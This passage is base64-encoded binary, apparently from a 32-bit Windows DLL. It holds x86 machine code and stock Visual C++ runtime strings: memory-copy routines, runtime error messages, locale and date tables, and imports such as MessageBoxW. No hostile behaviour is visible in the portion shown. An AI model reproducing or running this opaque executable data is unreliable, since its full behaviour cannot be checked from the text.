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AoAAAAAAFIANgAwADMAMwANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIAB1AHMAZQAgAE0AUwBJAEwAIABjAG8AZABlACAAZgByAG8AbQAgAHQAaABpAHMAIABhAHMAcwBlAG0AYgBsAHkAIABkAHUAcgBpAG4AZwAgAG4AYQB0AGkAdgBlACAAYwBvAGQAZQAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgAKAFQAaABpAHMAIABpAG4AZABpAGMAYQB0AGUAcwAgAGEAIABiAHUAZwAgAGkAbgAgAHkAbwB1AHIAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALgAgAEkAdAAgAGkAcwAgAG0AbwBzAHQAIABsAGkAawBlAGwAeQAgAHQAaABlACAAcgBlAHMAdQBsAHQAIABvAGYAIABjAGEAbABsAGkAbgBnACAAYQBuACAATQBTAEkATAAtAGMAbwBtAHAAaQBsAGUAZAAgACgALwBjAGwAcgApACAAZgB1AG4AYwB0AGkAbwBuACAAZgByAG8AbQAgAGEAIABuAGEAdABpAHYAZQAgAGMAbwBuAHMAdAByAHUAYwB0AG8AcgAgAG8AcgAgAGYAcgBvAG0AIABEAGwAbABNAGEAaQBuAC4ADQAKAAAAAABSADYAMAAzADIADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AYwBhAGwAZQAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgANAAoAAAAAAFIANgAwADMAMQANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAdABoAGUAIABDAFIAVAAgAG0AbwByAGUAIAB0AGgAYQBuACAAbwBuAGMAZQAuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuAA0ACgAAAAAAUgA2ADAAMwAwAA0ACgAtACAAQwBSAFQAIABuAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAANAAoAAAAAAFIANgAwADIAOAANAAoALQAgAHUAbgBhAGIAbABlACAAdABvACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAGgAZQBhAHAADQAKAAAAAAAAAAAAUgA2ADAAMgA3AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAbABvAHcAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAHMAdABkAGkAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgANAAoAAAAAAAAAAABSADYAMAAyADUADQAKAC0AIABwAHUAcgBlACAAdgBpAHIAdAB1AGEAbAAgAGYAdQBuAGMAdABpAG8AbgAgAGMAYQBsAGwADQAKAAAAAAAAAFIANgAwADIANAANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAF8AbwBuAGUAeABpAHQALwBhAHQAZQB4AGkAdAAgAHQAYQBiAGwAZQANAAoAAAAAAAAAAABSADYAMAAxADkADQAKAC0AIAB1AG4AYQBiAGwAZQAgAHQAbwAgAG8AcABlAG4AIABjAG8AbgBzAG8AbABlACAAZABlAHYAaQBjAGUADQAKAAAAAAAAAAAAUgA2ADAAMQA4AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAGgAZQBhAHAAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA3AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAG0AdQBsAHQAaQB0AGgAcgBlAGEAZAAgAGwAbwBjAGsAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAdABoAHIAZQBhAGQAIABkAGEAdABhAA0ACgAAAFIANgAwADEAMAANAAoALQAgAGEAYgBvAHIAdAAoACkAIABoAGEAcwAgAGIAZQBlAG4AIABjAGEAbABsAGUAZAANAAoAAAAAAFIANgAwADAAOQANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGUAbgB2AGkAcgBvAG4AbQBlAG4AdAANAAoAAABSADYAMAAwADgADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABhAHIAZwB1AG0AZQBuAHQAcwANAAoAAAAAAAAAUgA2ADAAMAAyAA0ACgAtACAAZgBsAG8AYQB0AGkAbgBnACAAcABvAGkAbgB0ACAAcwB1AHAAcABvAHIAdAAgAG4AbwB0ACAAbABvAGEAZABlAGQADQAKAAAAAAAAAAAAAgAAACBuABAIAAAAyG0AEAkAAABwbQAQCgAAAChtABAQAAAA0GwAEBEAAABwbAAQEgAAAChsABATAAAA0GsAEBgAAABgawAQGQAAABBrABAaAAAAoGoAEBsAAAAwagAQHAAAAOBpABAeAAAAoGkAEB8AAADYaAAQIAAAAHBoABAhAAAAgGYAEHgAAABgZgAQeQAAAERmABB6AAAAKGYAEPwAAAAgZgAQ/wAAAABmABBNAGkAYwByAG8AcwBvAGYAdAAgAFYAaQBzAHUAYQBsACAAQwArACsAIABSAHUAbgB0AGkAbQBlACAATABpAGIAcgBhAHIAeQAAAAAACgAKAAAAAAAuAC4ALgAAADwAcAByAG8AZwByAGEAbQAgAG4AYQBtAGUAIAB1AG4AawBuAG8AdwBuAD4AAAAAAFIAdQBuAHQAaQBtAGUAIABFAHIAcgBvAHIAIQAKAAoAUAByAG8AZwByAGEAbQA6ACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAgACAAIAAgAGgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAYEBgQGBAYEBgQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBEAAQABAAEAAQABAAggGCAYIBggGCAYIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECARAAEAAQABAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAFAAUABAAEAAQABAAEAAUABAAEAAQABAAEAAQAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQAAEBAQEBAQEBAQEBAQEBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAACAQIBAgECAQIBAgECAQIBAQEAAAAAgIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6W1xdXl9gYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/R2V0UHJvY2Vzc1dpbmRvd1N0YXRpb24AR2V0VXNlck9iamVjdEluZm9ybWF0aW9uVwAAAEdldExhc3RBY3RpdmVQb3B1cAAAR2V0QWN0aXZlV2luZG93AE1lc3NhZ2VCb3hXAFUAUwBFAFIAMwAyAC4ARABMAEwAAAAAACBDb21wbGV0ZSBPYmplY3QgTG9jYXRvcicAAAAgQ2xhc3MgSGllcmFyY2h5IERlc2NyaXB0b3InAAAAACBCYXNlIENsYXNzIEFycmF5JwAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoACBUeXBlIERlc2NyaXB0b3InAAAAYGxvY2FsIHN0YXRpYyB0aHJlYWQgZ3VhcmQnAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAABgZHluYW1pYyBpbml0aWFsaXplciBmb3IgJwAAYGVoIHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAABgb21uaSBjYWxsc2lnJwAAIGRlbGV0ZVtdAAAAIG5ld1tdAABgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwBgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAYHVkdCByZXR1cm5pbmcnAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAABgZWggdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAYHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBzY2FsYXIgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYGRlZmF1bHQgY29uc3RydWN0b3IgY2xvc3VyZScAAABgdmVjdG9yIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGB2YmFzZSBkZXN0cnVjdG9yJwAAYHN0cmluZycAAAAAYGxvY2FsIHN0YXRpYyBndWFyZCcAAAAAYHR5cGVvZicAAAAAYHZjYWxsJwBgdmJ0YWJsZScAAABgdmZ0YWJsZScAAABePQAAfD0AACY9AAA8PD0APj49ACU9AAAvPQAALT0AACs9AAAqPQAAfHwAACYmAAB8AAAAXgAAAH4AAAAoKQAALAAAAD49AAA+AAAAPD0AADwAAAAlAAAALwAAAC0+KgAmAAAAKwAAAC0AAAAtLQAAKysAACoAAAAtPgAAb3BlcmF0b3IAAAAAW10AACE9AAA9PQAAIQAAADw8AAA+PgAAPQAAACBkZWxldGUAIG5ldwAAAABfX3VuYWxpZ25lZABfX3Jlc3RyaWN0AABfX3B0cjY0AF9fZWFiaQAAX19jbHJjYWxsAAAAX19mYXN0Y2FsbAAAX190aGlzY2FsbAAAX19zdGRjYWxsAAAAX19wYXNjYWwAAAAAX19jZGVjbABfX2Jhc2VkKAAAAAAMfgAQBH4AEPh9ABDsfQAQ4H0AENR9ABDIfQAQwH0AELh9ABCsfQAQoH0AEJ19ABCYfQAQkH0AEIx9ABCIfQAQhH0AEIB9ABB8fQAQeH0AEHR9ABBofQAQZH0AEGB9ABBcfQAQWH0AEFR9ABBQfQAQTH0AEEh9ABBEfQAQQH0AEDx9ABA4fQAQNH0AEDB9ABAsfQAQKH0AECR9ABAgfQAQHH0AEBh9ABAUfQAQEH0AEAx9ABAIfQAQBH0AEAB9ABD8fAAQ+HwAEPR8ABDwfAAQ7HwAEOB8ABDUfAAQzHwAEMB8ABCofAAQnHwAEIh8ABBofAAQSHwAECh8ABAIfAAQ6HsAEMR7ABCoewAQhHsAEGR7ABA8ewAQIHsAEBB7ABAMewAQBHsAEPR6ABDQegAQyHoAELx6ABCsegAQkHoAEHB6ABBIegAQIHoAEPh5ABDMeQAQsHkAEIx5ABBoeQAQPHkAEBB5ABD0eAAQnX0AEOB4ABDEeAAQsHgAEJB4ABB0eAAQAAAAAAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSEl